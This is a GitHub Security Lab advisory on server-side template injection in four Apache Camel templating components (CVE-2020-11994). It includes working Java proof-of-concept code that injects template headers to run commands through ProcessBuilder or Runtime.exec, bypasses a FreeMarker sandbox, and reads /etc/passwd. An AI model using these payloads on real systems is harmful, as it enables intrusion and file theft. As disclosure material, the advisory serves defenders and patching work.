skip to content
Back to GitHub.com
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
August 17, 2020

GHSL-2020-086, 087, 088, 089 - Server-Side Template Injection in Apache Camel - CVE-2020-11994

Alvaro Munoz

Summary

Apache Camel FreeMarker, Velocity, MVEL and Moustache components are vulnerable to Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) or Arbitrary File Disclosure.

Product

camel-freemarker camel-velocity camel-mvel camel-mustache

Tested Version

Latest 2.x version: 2.22.0 Latest 3.x version: 3.2.0

Details

Issue 1: Server-Side Template Injection on camel-freemarker component (GHSL-2020-086).

camel-freemarker allows dynamic templating by processing the contents of the CamelFreemarkerTemplate header as the template passed to the FreeMarker template engine. An attacker that can control this header, will be able to run arbitrary commands on the Camel system.

As an example, the following Camel route will pass any messages in the freemarker JMS queue to the camel-freemarker component which should then render the template.ftl template:

from("activemq:freemarker")
    .to("freemarker:template.ftl")
    .to("stream:out");

However, if an attacker sends a message with the CamelFreemarkerTemplate header, they will be able to override the contents of the template.ftl template and provide arbitrary content.

System.out.println("Attacking Freemarker endpoint");
template.convertAndSend("freemarker", "FOO", new MessagePostProcessor() {
    public Message postProcessMessage(Message message) throws JMSException {
        String payload = "FREEMARKER ${\"freemarker.template.utility.Execute\"?new()(\"id\")}";
        message.setStringProperty("CamelFreemarkerTemplate", payload);
        return message;
    }
});

Note: the above example uses JMS queues, depending on the Camel consumer, these headers could be JMS message properies, HTTP request headers, etc.

Even if the latest version of FreeMarker is in use with the ClassResolver sandbox enabled, an attacker will still be able to run arbitrary commands by abusing the camelContext object exposed to the template context. A simple example would involve using the CamelContext.getInjector() and CamelContext.getClassResolver() to be able to instantiate arbitrary objects:

<#assign cr = camelContext.getClassResolver()>
<#assign i = camelContext.getInjector()>
<#assign se = i.newInstance(cr.resolveClass('javax.script.ScriptEngineManager'))>
${se.getEngineByName("js").eval("var proc=new java.lang.ProcessBuilder('id');var is=proc.start().getInputStream(); var sc=new java.util.Scanner(is); var out=''; while (sc.hasNext()) {out += (sc.nextLine())};out")}";

Alternatively they could use the camelContext to run arbitrary language expressions:

$camelContext.resolveLanguage("groovy").createExpression(<PAYLOAD>).evaluate(exchange, Object.class);

It is also possible to provide a CamelFreemarkerResourceUri header which will allow an attacker to specify the URI of the template to be used. An attacker can use this header as an alternative way of achieving RCE by pointing the URI to an attacker-controlled resource, or they could use it to disclose arbitrary file system resources. E.g:

System.out.println("Attacking Freemarker endpoint");
template.convertAndSend("freemarker", "FOO", new MessagePostProcessor() {
    public Message postProcessMessage(Message message) throws JMSException {
        message.setStringProperty("CamelFreemarkerResourceUri", "file:///etc/passwd");
        return message;
    }
});

When trying to connect to an external URL such as foobartest.free.beeceptor.com I got the following error:

java.net.UnknownHostException: foobartest.free.beeceptor_en_ES.com

This seems to imply that it would also be possible to load the template content from an external URL as long as an attacker buys a domain that ends with a matching Locale string but we have not verified this.

Impact

This issue leads to Remote Code Execution and Arbitrary File Disclosure.

Issue 2: Server-Side Template Injection on camel-velocity component (GHSL-2020-087).

Similarly the camel-velocity component also allows dynamic templating by accepting and processing the CamelVelocityTemplate header. Given a Camel route using the camel-velocity component such as in:

from("activemq:velocity")
    .to("velocity:template.vm")
    .to("stream:out");

An attacker would be able to override the default template.vm template by sending a custom template in the CamelVelocityTemplate header:

System.out.println("Attacking Velocity endpoint");
template.convertAndSend("velocity", "FOO", new MessagePostProcessor() {
    public Message postProcessMessage(Message message) throws JMSException {
        String payload = "VELOCITY ${camelContext.class.forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var proc=new java.lang.ProcessBuilder('id');var is=proc.start().getInputStream(); var sc=new java.util.Scanner(is); var out=''; while (sc.hasNext()) {out += (sc.nextLine())};out\")}";
        message.setStringProperty("CamelVelocityTemplate", payload);
        return message;
    }
});

As with the FreeMarker case, it is also possible for an attacker to provide a CamelVelocityResourceUri header pointing to an arbitrary URI. An attacker can use it to provide arbitrary template contents (RCE) or to disclose arbitrary file system resources. E.g:

System.out.println("Attacking Velocity endpoint");
template.convertAndSend("velocity", "FOO", new MessagePostProcessor() {
    public Message postProcessMessage(Message message) throws JMSException {
        message.setStringProperty("CamelVelocityResourceUri", "file:///etc/passwd");
        return message;
    }
});

Impact

This issue leads to Remote Code Execution and Arbitrary File Disclosure.

Issue 3: Server-Side Template Injection on camel-mvel component (GHSL-2020-088).

Similarly camel-mvel component also allows dynamic templating by accepting and processing the CamelMvelTemplate header. Given a Camel route using the camel-mvel component such as in:

from("activemq:mvel")
    .to("mvel:template.mvel")
    .to("stream:out");

An attacker would be able to override the default template.mvel template by sending a custom template in the CamelMvelTemplate header:

System.out.println("Attacking MVEL endpoint");
template.convertAndSend("mvel", "FOO", new MessagePostProcessor() {
    public Message postProcessMessage(Message message) throws JMSException {
        String payload = "MVEL @{com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance(\"javax.script.ScriptEngineManager\",null,false).getEngineByName('js').eval(\"var proc=new java.lang.ProcessBuilder('id');var is=proc.start().getInputStream(); var sc=new java.util.Scanner(is); var out=''; while (sc.hasNext()) {out += (sc.nextLine())};out\")}";
        message.setStringProperty("CamelMvelTemplate", payload);
        return message;
    }
});

As we saw with FreeMarker and Velocity, by providing a CamelMvelResourceUri header, an attacker is able to provide a URI to retrieve the template contents from. They can use it to provide arbitrary templates (RCE) or to disclose arbitrary file system resources. E.g:

System.out.println("Attacking MVEL endpoint");
template.convertAndSend("mvel", "FOO", new MessagePostProcessor() {
    public Message postProcessMessage(Message message) throws JMSException {
        String payload = "MVEL @{java.lang.Runtime.getRuntime().exec('id')}";
        message.setStringProperty("CamelMvelResourceUri", "file:///etc/passwd");
        return message;
    }
});

Impact

This issue leads to Remote Code Execution and Arbitrary File Disclosure.

Issue 4: Arbitrary File Disclosure on camel-mustache component (GHSL-2020-089).

To our knowledge, it is not possible to run arbitrary commands by controlling a Java Mustache template, but it is still possible for an attacker to provide a MustacheResourceUri header in order to replace the Mustache header with an attacker-controlled one. This will enable an attacker to disclose arbitrary file system resources. E.g:

System.out.println("Attacking Mustache endpoint");
template.convertAndSend("mustache", "FOO", new MessagePostProcessor() {
    public Message postProcessMessage(Message message) throws JMSException {
        message.setStringProperty("MustacheResourceUri", "file:///etc/passwd");
        return message;
    }
});

Impact

This issue leads to Arbitrary File Disclosure.

CVE

Coordinated Disclosure Timeline

Credit

These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include the relevant GHSL-YEAR-ID in any communication regarding this issue.